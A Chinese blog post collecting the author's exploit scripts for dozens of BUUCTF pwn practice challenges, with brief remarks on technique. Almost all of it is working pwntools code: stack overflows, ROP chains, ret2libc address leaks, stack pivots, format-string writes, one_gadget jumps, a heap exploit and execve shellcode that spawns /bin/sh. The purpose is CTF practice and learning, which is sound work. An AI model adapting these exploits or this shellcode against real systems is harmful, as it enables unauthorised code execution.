pwn

pwn

in buuctf

Posted by pic4xiu on July 31, 2020

寒假刷的buuctf上的pwn题,再过几遍基础,以后想玩了还会刷,持续更新。因为题太多自己又不是赛棍只能捡着刷,师傅们有想讨论的或求更新的可以发邮件,我尽力而为~~~

test_your_nc

nc 连上 cat flag 即可

warmup_csaw_2016

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
p = process('./warmup_csaw_2016')
context.log_level = 'debug'
#p=remote('node3.buuoj.cn',29987)
payload = 'a'*72+p64(0x40060D)
sleep(0.1)
p.sendline(payload)
p.interactive()

pwn1_sctf_2016

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
p = process('./pwn1_sctf_2016')
context.log_level = 'debug'
#p=remote('node3.buuoj.cn',29987)
payload = 'IIIIIIIIIIIIIIIIIIII1234'+p64(0x8048F13)
sleep(0.1)
p.sendline(payload)
p.interactive()

自己逆向太菜了,试出来的~~~

ciscn_2019_n_1

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
p = process('./ciscn_2019_n_1')
context.log_level = 'debug'
payload = 'a'*56+p64(0x4006BE)
p.sendline(payload)
p.interactive()

也可以覆盖 v2 值

from pwn import *
p = process('./ciscn_2019_n_1')
payload='a'*0x2c+p64(0x41348000)
p.sendline(payload)
p.interactive()

[OGeek2019]babyrop

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
#p = process('./pwn_patched')
libc=ELF('./libc-2.23.so')
elf = ELF('./pwn_patched')
context.log_level = 'debug'
p=remote('node3.buuoj.cn',26443)
payload = '\x00'+'\xff'*(0x20-2)
p.sendline(payload)
p.recvuntil('Correct\n')
got = elf.got["puts"]
plt = elf.plt['puts']
payload = p32(plt)+p32(0x8048916)+p32(got)+p32(0x080487F6)+p32(235+12)
p.sendline('a'*(235-4)+p32(0x804a050+0xe7)+payload)
real = u32(p.recvuntil('\x0a')[:-1])
libc_base = real - libc.symbols["puts"]
one = 0x3a819 + libc_base
print hex(one)
p.send('a'*235+p32(one)+p32(0))
p.interactive()

就是一个常规的栈迁移.想法有点麻烦,中间穿插用了几个很菜的技巧,但 exp 还可以

这里记录一下,首先 \x123 例如这种,系统只会保留后两个达到一个字节

ciscn_2019_c_1 & ciscn_2019_en_2

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
p = process('./real')
elf = ELF('./real')
libc=elf.libc
context.log_level = 'debug'
#p=remote('node3.buuoj.cn',26681)
def cropy(payload):
	te=''
	for a in (payload):
		i=ord(a)
		if  i <= 0x60 or i > 0x7A :
			if  i <= 0x40 or i > 0x5A :
				if  i > 0x2F and i <= 0x39 :
					i =i^ 0xF
			else:
				i = i^0xE
		else:
			i = i^0xD
		print i
		te=te+chr(i)
	print te
	return te

p.recvuntil('choice')
p.sendline('1')
p.recvuntil('encrypted')
got = elf.got["puts"]
plt = elf.plt['puts']
payload = 'a'*88+p64(0x400C83)+p64(got)+p64(plt)+p64(0x400B28)
co = cropy(payload)
p.sendline(co)
puts_got = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
base = puts_got - libc.symbols['puts']
one = base+0x4f322
payload = 'a'*88+p64(one)
p.recvuntil('choice')
p.sendline('1')
p.recvuntil('encrypted')
co = cropy(payload)
p.sendline(co)
p.interactive()

python 异或一下,存在栈溢出泄露基址,然后返回 main 再来一遍,之后 one_gadget 直接出.我是傻逼,解这题 2/3 时间都在看自己的异或函数哪有问题,最后发现自己想多了.啊啊啊啊啊啊,真得 C 语言怎么写 python 就怎么写

##get_started_3dsctf_2016

from pwn import *
from struct import pack
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
#io = process("./get_started_3dsctf_2016")
io = remote('node3.buuoj.cn',29153)
p = ''
p += pack('<I', 0x0806fc30) # pop edx ; pop ecx ; pop ebx ; ret  
p += pack('<I', 0x080eb060) # @ .data
p += pack('<I', 0)
p += pack('<I', 0)
p += pack('<I', 0x080b91e6) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x080557ab) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806fc30) # pop edx ; ret
p += pack('<I', 0x080eb064) # @ .data + 4
p += pack('<I', 0)
p += pack('<I', 0)
p += pack('<I', 0x080b91e6) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x080557ab) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806fc30) # pop edx ; ret
p += pack('<I', 0x080eb068) # @ .data + 8
p += pack('<I', 0)
p += pack('<I', 0)
p += pack('<I', 0x08049463) # xor eax, eax ; ret
p += pack('<I', 0x080557ab) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481ad) # pop ebx ; ret
p += pack('<I', 0x080eb060) # @ .data
p += pack('<I', 0x0806fc31) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080eb068) # @ .data + 8
p += pack('<I', 0x080eb060) # padding without overwrite ebx
p += pack('<I', 0x0806fc30) # pop edx ; ret
p += pack('<I', 0)
p += pack('<I', 0)
p += pack('<I', 0x080eb060) # @ .data + 8
p += pack('<I', 0x080b91e6) # pop eax; ret
p += pack('<I', 11) # inc eax ; ret
p += pack('<I', 0x0806d7e5) # int 0x80
sleep(0.1)
#gdb.attach(io,'b*0x08048A3B')
io.sendline('a'*56+p)
io.interactive()

静态编译的直接找 rop 就行,但是这里有 \x0a 截断,在 p 字符串输入的时候注意一下.还有一种直接用 mprotect ,也行

[第五空间2019 决赛]PWN5

from pwn import *
#p = process('./pwn')
context.log_level = 'debug'
#p=remote('node3.buuoj.cn',27693)
payload = fmtstr_payload(10, {0x0804C044:123})
p.send(payload)
sleep(0.1)
p.sendline('123')
p.interactive()

[BJDCTF 2nd]r2t3

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
#io = process("./r2t3")
io = remote('node3.buuoj.cn',29959)
elf = ELF("r2t3")
#libc=elf.libc
libc=ELF("libc-2.29.so")
got = elf.got["puts"]
plt = elf.plt['puts']
io.recvuntil('name')
#gdb.attach(io,'b*0x08048A3B')
payload = 'a'*21+p32(plt)+p32(0x8048490)+p32(got)
payload = payload.ljust(260,'a')

io.send(payload)
real = u32(io.recvuntil('\xf7')[-4:])
libc_base = real - libc.symbols["puts"]
print hex(libc_base)
system = libc.symbols["system"] + libc_base
sh = libc_base+libc.search("/bin/sh").next()
payload = 'a'*21+p32(system)+p32(0xdeadbeef)+p32(sh)
payload = payload.ljust(516,'a')
#gdb.attach(io,'b*0x80485DE')
io.send(payload)
io.interactive()

什么??有后门??有意思吗

ciscn_2019_n_8

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
def debug(addr,PIE=True):
	if PIE:
		text_base = int(os.popen("pmap {}| awk ''".format(p.pid)).readlines()[1], 16)
		gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
	else:
		gdb.attach(p,"b *{}".format(hex(addr)))
context.log_level = 'debug'
#p = process("./ciscn_2019_n_8")
p = remote('node3.buuoj.cn',26250)
elf = ELF("ciscn_2019_n_8")
libc=elf.libc
p.recvuntil('name?')
#debug(0x000012DC)
p.sendline('a'*13*4+'\x11')
p.interactive()

我是傻逼,这题逻辑看错了,以为怎么这么难…这种题属实没意思

not_the_same_3dsctf_2016

from pwn import *
from struct import pack
context.terminal = ['tmux', 'splitw', '-h']
io = remote('node3.buuoj.cn',29951)
#io=process('./not_the_same_3dsctf_2016')
# Padding goes here
p = ''

p += pack('<I', 0x0806fcca) # pop edx ; ret
p += pack('<I', 0x080eb060) # @ .data
p += pack('<I', 0x08048b0b) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0805586b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806fcca) # pop edx ; ret
p += pack('<I', 0x080eb064) # @ .data + 4
p += pack('<I', 0x08048b0b) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0805586b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806fcca) # pop edx ; ret
p += pack('<I', 0) # @ .data 
p += pack('<I', 0x0806fcf1) # pop ecx ; pop ebx ; ret
p += pack('<I', 0)
p += pack('<I', 0x080eb060)
p += pack('<I', 0x08048b0b) # pop eax ; ret
p += pack('<I', 0xb)
p += pack('<I', 0x0806d8a5) # int 0x80
#gdb.attach(io,'b*0x80489FB')
io.sendline('1'*(0x2d)+p)
io.interactive()

加上之前欠的 mprotect 吧

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
io = remote('node3.buuoj.cn',28199)
#io=process('./not_the_same_3dsctf_2016')
# Padding goes here
elf = ELF('not_the_same_3dsctf_2016')
p3_ret = 0x0806fcf0
#0x0806fcf0 : pop edx ; pop ecx ; pop ebx ; ret
payload = p32(0x0806ED40)+p32(p3_ret)+p32(0x080EC000)+p32(1000)+p32(7)+p32(0x0806E200)+p32(0x080EC000)+p32(0)+p32(0x080EC000)+p32(50)
io.sendline('1'*(0x2d)+payload)
io.send('\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80')
io.interactive()

另外本题还有个后门函数,那个 wp 就不写了

[HarekazeCTF2019]baby_rop

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
#p = process('./patched')
p=remote('node3.buuoj.cn',25577)
elf = ELF('./patched')
#libc = elf.libc
payload ='a'*24 +p64(0x400683)+p64(0x601048)+p64(0x4005E3)
p.sendline(payload)
p.interactive()

拿 shell 后, flag 呢(美人鱼邓超状 : 头呢)??

jarvisoj_level0

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
p=remote('node3.buuoj.cn',28535)
payload ='a'*136 +p64(0x400596)
p.sendline(payload)
p.interactive()

[BJDCTF 2nd]one_gadget

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
#p = process('./one_gadget')
p=remote('node3.buuoj.cn',28330)
elf = ELF('./one_gadget')
#libc = elf.libc
libc=ELF('libc-2.29.so')
context.log_level = 'debug'
p.recvuntil('u:0x')
printf = int(p.recvuntil('\n')[:-1],16)
print printf
libc_base = printf - libc.symbols['printf']
print hex(libc_base)
one = libc_base+0x106ef8
print one
p.sendline(str(one))
p.interactive()

没啥说的, one_gadget 解决

jarvisoj_level2

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
p=remote('node3.buuoj.cn',29291)
payload ='a'*140 +p32(0x804845C)+p32(0x0804A024)
#payload ='a'*140 +p32(0x8048320)+p32(0)+p32(0x0804A024)
#.plt:08048320 _system         proc near
p.sendline(payload)
p.interactive()

在这里记录一下一个我之前一直没注意的知识点,事实上在这里两个 payload 都能用,在 plt 中才是真正满足中间夹杂返回地址的情况,如果把 ret 变成函数中的地址直接往栈里写就对了

[HarekazeCTF2019]baby_rop2

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
#p = process('./babyrop2')
context.log_level = 'debug'
p=remote('node3.buuoj.cn',25183)
elf = ELF('./babyrop2')
#libc = elf.libc
libc = ELF('libc.so.6')
got = elf.got["read"]
plt = elf.plt['printf']
format_s = 0x0400770
payload ='a'*40 +p64(0x400733)+p64(format_s)+p64(0x400731)+p64(got)+p64(0)+p64(plt)+p64(0x400636)
#0x0000000000400731 : pop rsi ; pop r15 ; ret
p.recvuntil('name?')

p.sendline(payload)
printf = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base = printf - libc.symbols['read']
print hex(libc_base)
system = libc.symbols["system"] + libc_base
sh = libc_base+libc.search("/bin/sh").next()
one = libc_base+0x4526a
payload ='a'*40 +p64(one)+p64(0)*8
p.sendline(payload)
p.interactive()

在这有个问题, 我想把 printf 地址用自己 printf 出来失败了,但是 read 是好使的???

ciscn_2019_s_3

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
#p = process('./ciscn_s_3')
context.log_level = 'debug'
p=remote('node3.buuoj.cn',26843)
elf = ELF('./ciscn_s_3')
libc = elf.libc
#libc = ELF('libc.so.6')
payload = 'a'*16+p64(0x40059B)+p64(0)*5+p64(0x40059B)+p64(0)*5+p64(0x40059B)+p64(0)*5+p64(0x400503)+p64(0x4004F1)
'''
.text:00000000004004EB                 pop     rbp
.text:00000000004004EC                 retn
'''
#gdb.attach(p,'b*0x40059B')
p.sendline(payload)
off = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
base = off-0x401733
one = base+0x4f322
payload = 'a'*16+p64(one)+p64(0)*10
p.sendline(payload)
p.interactive()

这种基本不限制输入的 one_gadget 通杀

ciscn_2019_ne_5

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
#p = process('./ciscn_2019_ne_5')
p=remote('node3.buuoj.cn',28485)
context.log_level = 'debug'
elf = ELF('./ciscn_2019_ne_5')
#libc = elf.libc
libc = ELF('./libc-2.27.so')
got = elf.got["printf"]
print hex(got)
plt = elf.plt['puts']
print hex(plt)
payload ='2'*76 +p32(plt)+p32(0x8048722)+p32(got)
p.sendlineafter('password','administrator')
p.sendlineafter(':','1')
p.sendlineafter('info:',payload)
p.sendlineafter(':','4')
real = u32(p.recvuntil('\xf7')[-4:])
libc_base = real - libc.symbols["printf"]
print hex(libc_base)
sh = libc_base+libc.search("/bin/sh\x00").next()
print hex(sh)
payload = '2'*76 +p32(0x080486B9)+p32(sh)
p.sendline('administrator')
p.sendlineafter(':','1')
p.sendlineafter('info:',payload)
print hex(libc_base)
print hex(sh)
p.sendlineafter(':','4')
p.interactive()

太尴尬了,我把 64 位 so 下载下来测偏移测了半天…然后在无聊在网上看 wp 找优化的时候第一次知道这种骚操作,根据函数名有 sh 来 getshell ,太秒了

from pwn import *
r=remote('node3.buuoj.cn',25488)
e=ELF('ciscn_2019_ne_5')
sys_plt=e.plt['system']
sh_addr=0x80482ea
r.recvuntil('Please input admin password:')
r.sendline('administrator')
r.recvuntil('0.Exit\n:')
r.sendline('1')
payload='a'*0x4c+p32(sys_plt)+'aaaa'+p32(sh_addr)
r.recvuntil('Please input new log info:')
r.sendline(payload)
r.recvuntil('0.Exit\n:')
r.sendline('4')
r.interactive()
'''
LOAD:080482E6 byte_80482E6    db 66h                  ; DATA XREF: LOAD:0804820C↑o
LOAD:080482E7                 db  66h ; f
LOAD:080482E8                 db  6Ch ; l
LOAD:080482E9                 db  75h ; u
LOAD:080482EA                 db  73h ; s
LOAD:080482EB                 db  68h ; h
LOAD:080482EC                 db    0
'''

pwn2_sctf_2016

from pwn import*
context.terminal = ['tmux', 'splitw', '-h']
#p = process('./pwn2_sctf_2016')
elf=ELF('./pwn2_sctf_2016')
context.log_level = 'debug'
p=remote('node3.buuoj.cn',28578)
#libc = elf.libc
libc = ELF('libc-2.23.so')
got=elf.got['atoi']
plt=elf.plt['printf']
p.sendlineafter('read?','-1')
#gdb.attach(p,'b*0x80485A2')
#p.sendlineafter('data','a'*48+p32(0x804852F)*3)
p.sendlineafter('data','a'*48+p32(plt)+p32(0x804852F)+p32(0x80486F8)+p32(got))
real = u32(p.recvuntil('\xf7')[-4:])
libc_base = real - libc.symbols["atoi"]
print hex(libc_base)
sh = libc_base+libc.search("/bin/sh\x00").next()
print hex(sh)
sys = libc_base + libc.symbols["system"]
one = libc_base+0x3a80c
p.sendlineafter('read?','-1')

p.sendlineafter('data','a'*48+p32(sys)+p32(sh)*2)
p.interactive()

这题套路性太强了,一看int __cdecl get_n(int a1, unsigned int a2)就知道老江湖了

ez_pz_hackover_2016

from pwn import*
context.terminal = ['tmux', 'splitw', '-h']
elf=ELF('./ez_pz_hackover_2016')
context.log_level = 'debug'
#p = process('./ez_pz_hackover_2016')
p=remote('node3.buuoj.cn',29043)
libc = elf.libc
#libc = ELF('libc-2.23.so')
p.recvuntil('0x')
recv = int(p.recvuntil('\n')[:-1],16)
#gdb.attach(p,'b*0x80485F8')
shellcode = "\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80"
p.sendline('crashme\x00'+'a'*14+p32(recv-0x1c)*2+shellcode)
p.interactive()

[Black Watch 入群题]PWN

from pwn import*
#context.terminal = ['tmux', 'splitw', '-h']
elf=ELF('./spwn')
context.log_level = 'debug'
#p = process('./spwn')
p=remote('node3.buuoj.cn',26668)
#libc = elf.libc
libc=ELF('libc-2.23.so')
got=elf.got['write']
plt=elf.plt['write']
payload = 'c'*4+p32(plt)+p32(0x08048513)+p32(1)+p32(got)+p32(4)
p.sendafter('Ctfer',payload)
p.sendafter('say','a'*24+p32(0x804A300)+p32(0x8048511))
real = u32(p.recvuntil('\xf7')[-4:])
libc_base = real - libc.symbols["write"]
print hex(libc_base)
sh = libc_base+libc.search("/bin/sh\x00").next()
print hex(sh)
sys = libc_base+libc.symbols["system"]
p.recvuntil('name')
p.send(p32(sys)+p32(0)+p32(sh))
#300
one = libc_base+0x5f066
leave = 0x8048511
p.recvuntil('say?')

p.send('a'*24+p32(0x804a300-4)+p32(leave))
#p.sendline('a'*32)
p.interactive()

这题说来惭愧,看名字 spwn 我以为是 srop ,吓得战战兢兢的做,结果就是个栈迁移,哎,太怂了~~~

bjdctf_2020_babystack

from pwn import*
context.terminal = ['tmux', 'splitw', '-h']
elf=ELF('./bjdctf_2020_babystack')
context.log_level = 'debug'
#p = process('./bjdctf_2020_babystack')
p=remote('node3.buuoj.cn',28764)
libc = elf.libc
#libc = ELF('libc-2.23.so')
p.sendlineafter('length','100')
#gdb.attach(p,'b*0x4006E6')
p.sendlineafter('name?','a'*24+p64(0x04006E6))
p.interactive()

4.10 前劳动成果

ciscn_2019_es_2

from pwn import *
#context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
#p = process('./ciscn_2019_es_2')
p = remote("node3.buuoj.cn",28704)
elf = ELF('./ciscn_2019_es_2')
libc=elf.libc
pay = 'a'*(32)
p.send(pay)
leak = u32(p.recvuntil('\xff')[-4:])
leak = leak-228-4
leave = 0x8048562
#gdb.attach(p,'b*0x080485FE')
payload = p32(0x8048559)+p32(leak+12)+'/bin/sh\x00'+'a'*(40-12-4)+p32(leak)+p32(leave)
p.send(payload)
p.interactive()

第一次泄露栈地址,之后一个栈迁移

铁人三项(第五赛区)_2018_rop

from pwn import *
context.log_level = 'debug'
context(arch='amd64',os='linux',word_size='64')
p = process('./2018_rop')
#p = remote("node3.buuoj.cn",28557)
elf = ELF('./2018_rop')
libc=elf.libc
#libc = ELF('libc-2.27.so')
got=elf.got['getegid']
plt=elf.plt['write']
pay = 'c'*140+p32(plt)+p32(0x08048474)+p32(1)+p32(got)+p32(4)
p.sendline(pay)
real = u32(p.recvuntil('\xf7')[-4:])
libc_base = real - libc.symbols["getegid"]
print hex(libc_base)
sh = libc_base+libc.search("/bin/sh\x00").next()
print hex(sh)
sys = libc_base+libc.symbols["system"]
pay = 'c'*140+p32(sys)+p32(0)+p32(sh)
p.sendline(pay)
p.interactive()

jarvisoj_level3

from pwn import *
context.log_level = 'debug'
context(arch='amd64',os='linux',word_size='64')
#p = process('./level3')
p = remote("node3.buuoj.cn",25480)
elf = ELF('./level3')
#libc=elf.libc
libc = ELF('libc-2.23.so')
got=elf.got['write']
plt=elf.plt['write']
pay = 'c'*140+p32(plt)+p32(0x804844B)+p32(1)+p32(got)+p32(4)
p.recvuntil('Input:')
p.sendline(pay)
real = u32(p.recvuntil('\xf7')[-4:])
libc_base = real - libc.symbols["write"]
print hex(libc_base)
sh = libc_base+libc.search("/bin/sh\x00").next()
print hex(sh)
sys = libc_base+libc.symbols["system"]
pay = 'c'*140+p32(sys)+p32(0)+p32(sh)
p.sendline(pay)
p.interactive()

[BJDCTF 2nd]r2t4

from pwn import *
context.log_level = 'debug'
context(arch='amd64',os='linux',word_size='64')
p = process('./r2t4')
#p = remote("node3.buuoj.cn",27166)
elf = ELF('./r2t4')
__stack_chk_fail = elf.got['__stack_chk_fail']
gdb.attach(p,'b*0x4006B3')
pay = "%1574c%8$hnaaaaa"+ p64(__stack_chk_fail)+'a'*20
p.sendline(pay)
p.interactive()

没啥说的,格式化字符串

pwnable_orw

#coding:utf-8
from pwn  import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
context.terminal = ['tmux', 'splitw', '-h']
p=remote('node3.buuoj.cn',26912)
#p=process('./orw')

shellcode=asm('mov eax,5;xor ecx,ecx;xor edx,edx;push ecx;push 0x67616c66;mov ebx,esp;int 0x80;mov ebx,3;mov ecx,esp;mov edx,0x50;mov eax,3;int 0x80;mov eax,4;mov ebx,1;int 0x80;')
#open('flag',0,0) eax=5 ebx=esp ecx=0 edx=0
#read(3,esp,0x50) eax=3 ebx=3 ecx=esp edx=0x50
#write(1,esp,0x50)eax=4 ebx=1 
#gdb.attach(p,'b*0x804858A')
recv = p.recvuntil(':')
p.sendline(shellcode)
flag = p.recv(100)
print flag

这个不能太依赖 pwntools 自带的 syscall ,还是自己写最稳

pwnable_start

from pwn import *
context.log_level = 'debug'
#p = process('./start')
p = remote("node3.buuoj.cn",29590)
pay = 'a'*0x14+p32(0x08048087)
#gdb.attach(p,'b *0x08048087')
p.recvuntil('CTF:')
p.send(pay)
leak = u32(p.recv(4))
shellcode='a'*0x14+p32(leak+0x14)+'\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80'
p.send(shellcode)
p.interactive()

4.11 日前劳动成果,目前排名 143 ,分数 331 ,现在开始看看堆,全忘光了~~~

jarvisoj_fm

from pwn import *
#p = process('./fm')
context.log_level = 'debug'
p=remote('node3.buuoj.cn',25972)
payload = fmtstr_payload(11, {0x0804A02C:4})
p.sendline(payload)
p.interactive()

others_shellcode

???

jarvisoj_tell_me_something

from pwn import *
#p = process('./guestbook')
context.log_level = 'debug'
p=remote('node3.buuoj.cn',25907)
p.send('a'*136+p64(0x400620))
p.interactive()

[BJDCTF 2nd]test

这题我一开始思路是把文件 scp 下来(scp -P 27993 ctf@node3.buuoj.cn:/home/ctf/test /home/pic/Downloads)用溢出的方式打,没想到几个命令就行??

之后看了看网上的 wp 用ls /usr/bin/ /bin/ | grep -v -E "n|e|p|b|u|s|h|i|f|l|a|g"找到x86_64od *两个命令能够

bjdctf_2020_babyrop

这题和之前的太类似了,不写了,写一下之后得用万能 gadget 的

jarvisoj_level3_x64

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
p = process('./level3_x64')
context.log_level = 'debug'
p=remote('node3.buuoj.cn',29545)
elf = ELF('./level3_x64')
libc = elf.libc
libc=ELF('libc-2.23.so')
plt = elf.plt['write']
got = elf.got['write']
#libc = ELF('libc.so.6')
payload = 'a'*136+p64(0x4006AA)+p64(0)+p64(1)+p64(got)+p64(8)+p64(got)+p64(1)+p64(0x400690)+p64(0)*7+p64(0x04005E6)
p.recvuntil('Input')
p.sendline(payload)

#edi esi edx
#  1 got   8
off = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base = off - libc.symbols["write"]
print hex(libc_base)
sys = libc_base+libc.symbols["system"]
sh = libc_base+libc.search("/bin/sh\x00").next()
#gdb.attach(p,'b*0x400619')
payload = 'a'*136+p64(0x04006B3)+p64(sh)+p64(sys)
p.sendline(payload)
p.interactive()

万能 gadget 利用

jarvisoj_level4

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
p = process('./level4')
context.log_level = 'debug'
p=remote('node3.buuoj.cn',26628)
elf = ELF('./level4')
#libc = elf.libc
libc=ELF('libc-2.23.so')
plt = elf.plt['write']
got = elf.got['write']
#libc = ELF('libc.so.6')
payload = 'a'*140+p32(plt)+p32(0x804844B)+p32(1)+p32(got)+p32(4)
p.sendline(payload)
off = u32(p.recvuntil('\xf7')[-4:])
libc_base = off - libc.symbols["write"]
print hex(libc_base)
sys = libc_base+libc.symbols["system"]
sh = libc_base+libc.search("/bin/sh\x00").next()
#gdb.attach(p,'b*0x400619')
payload = 'a'*140+p32(sys)+p32(sh)*2
p.sendline(payload)
p.interactive()

hitcontraining_heapcreator

from pwn import *
p=process('heapcreator')
context.log_level = 'debug'
elf=ELF('heapcreator')
libc=elf.libc
def create(size,content):
	p.sendafter('choice','1')
	p.sendafter('Size of Heap',str(size))
	p.sendafter('Content of heap',content)
def edit(ind,content):
	p.sendafter('choice','2')
	p.sendafter('Index',str(ind))
	p.sendafter('Content of heap',content)
def show(ind):
	p.sendafter('choice','3')
	p.sendafter('Index',str(ind))
def delete(ind):
	p.sendafter('choice','4')
	p.sendafter('Index',str(ind))

free_got = elf.got["free"]
create(0x18,'a')
create(0x10,'b')
edit(0,'/bin/sh\x00'+'a'*0x10+p64(0x41))
delete(1)
create(0x30,p64(0)*4+p64(0x30)+p64(free_got))
show(1)
off = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
base = off-libc.symbols["free"]
sys = base+libc.symbols["system"]
edit(1,p64(sys))
delete(0)
gdb.attach(p)
p.interactive()

actf_2019_babystack

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
#p = process('./ACTF_2019_babystack')
context.log_level = 'debug'
p=remote('node3.buuoj.cn',29828)
elf = ELF('./ACTF_2019_babystack')
#libc = elf.libc
libc=ELF('libc-2.27.so')
p.recvuntil('message?\n')
p.sendline('224')
p.recvuntil('0x')
stack = int(p.recvuntil('\n')[:-1],16)
got = elf.got['puts']
plt = elf.plt['puts']
payload = 'a'*8+p64(0x400AD3)+p64(got)+p64(plt)+p64(0x4008F6)
payload = payload.ljust(208)
payload+= p64(stack)+p64(0x400A18)
p.recvuntil('content')
p.send(payload)
off = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base = off - libc.symbols["puts"]
print hex(libc_base)

p.recvuntil('message?\n')
p.sendline('224')
p.recvuntil('0x')
stack = int(p.recvuntil('\n')[:-1],16)
sys = libc_base+libc.symbols["system"]
sh = libc_base+libc.search("/bin/sh\x00").next()
one = libc_base+0x4f322
payload = 'a'*8+p64(one)
payload = payload.ljust(208,'\x00')
payload+= p64(stack)+p64(0x400A18)
p.recvuntil('content')
#gdb.attach(p,'b*0x0400A18')
p.send(payload)

p.interactive()

常规栈迁移

oneshot_tjctf_2016

from pwn import *
#context.terminal = ['tmux', 'splitw', '-h']
#p = process('./oneshot_tjctf_2016')
context.log_level = 'debug'
p=remote('node3.buuoj.cn',28491)
elf = ELF('./oneshot_tjctf_2016')
#libc = elf.libc
libc=ELF('libc-2.23.so')
got=elf.got["puts"]
p.recvuntil('location?')
p.sendline(str(got))
p.recvuntil('0x')
base =int(p.recvuntil('\n')[:-1],16)-libc.symbols["puts"]
print hex(base)
one = base +0xf1147
print hex(one)
p.recvuntil('location?')
#gdb.attach(p,'b*0x4006BB')
p.sendline(str(one))
p.interactive()

one_gadget 利用

[ZJCTF 2019]Login

from pwn import *
#context.terminal = ['tmux', 'splitw', '-h']
p = process('./login')
context.log_level = 'debug'
#p=remote('node3.buuoj.cn',29037)
elf = ELF('./login')
libc = elf.libc
p.recvuntil(':')
p.sendline('admin')
p.recvuntil(':')
gdb.attach(p,'b*0x400a4a')
payload = '2jctf_pa5sw0rd\x00'+'\x00'*57+p64(0x400E88)
p.sendline(payload)

p.interactive()

这题属实没看懂,最后一点一点调出来的,看 wp 也看不太懂,自己敲了敲试出来了

lab4

这题很简单,就是送一个地址然后查看地址内容。然后我发现我真是有点呆,通过本地调试查看偏移量,发现偏移量不大。我就想本地爆破,我靠。。。发现自己真是逆向那边套路学多了,不行不行。看了 wp 发现是用 got 表,我怎么没想到~~~我真服了,而且这路走不通。函数限定地址大小小于0x7fffffff

from pwn import *
context.log_level = 'debug'
p = process('ret2lib')
elf = ELF('ret2lib')
libc=elf.libc
got = elf.got["puts"]
shellcode = got
p.recvuntil(':')
p.send(str(shellcode))
p.recvuntil('address : ')
plt = int(p.recvuntil('\n'),16)
libc_base = plt-libc.symbols["puts"]
print hex(libc_base)
gdb.attach(p)
sys = libc_base+libc.symbols["system"]
sh = libc_base+libc.search("/bin/sh").next()
p.sendline('a'*60+p32(sys)+'\x01'*4+p32(sh))
p.interactive()

lab5

这题我对 rop 又进一步理解了一下,一开始我还很自信,觉得直接 ropchain 直接甩就行,后来通过 ida 发现限制了字节数,真是一个字节不多。于是

from pwn import *
from struct import pack
context.log_level = 'debug'
io = process('simplerop')
p = ''
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bae06) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080bae06) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e850) # pop edx ; pop ecx ; pop ebx ; ret
p += pack('<I', 0) 
p += pack('<I', 0) 
p += pack('<I', 0x080ea060) 
p += pack('<I', 0x080bae06) # pop eax ; ret
p += pack('<I', 11)
p += pack('<I', 0x080493e1) # int 0x80
io.recvuntil(':')
io.send('a'*32+p)
io.interactive(

其实 ropchain 生成的明显有多余的,所以能够进行大范围的化简(23行=>6行

lab6

卡住了,昨天做梦都想这题,然后觉得这方法已经解决了,但是好像还是因为堆栈的问题执行 system("/bin/sh") 的时候死了,就很难受

from pwn import *
context.log_level = 'debug'
io = process('migration')
elf = ELF('migration')
libc = elf.libc
got = elf.got["puts"]
io.recvuntil('\n')
io.send('a'*40+p32(0x804A008+0x28+0x500)+p32(0x80484EA)+p32(got))
sleep(0.1)
real = u32(io.recv(4))
base = real - libc.symbols["puts"]
one = base+0x3ac69
io.send(p32(0)+p32(one)+p32(0)*8+p32(0x804A008+0x500)+p32(0x8048504))
io.interactive()

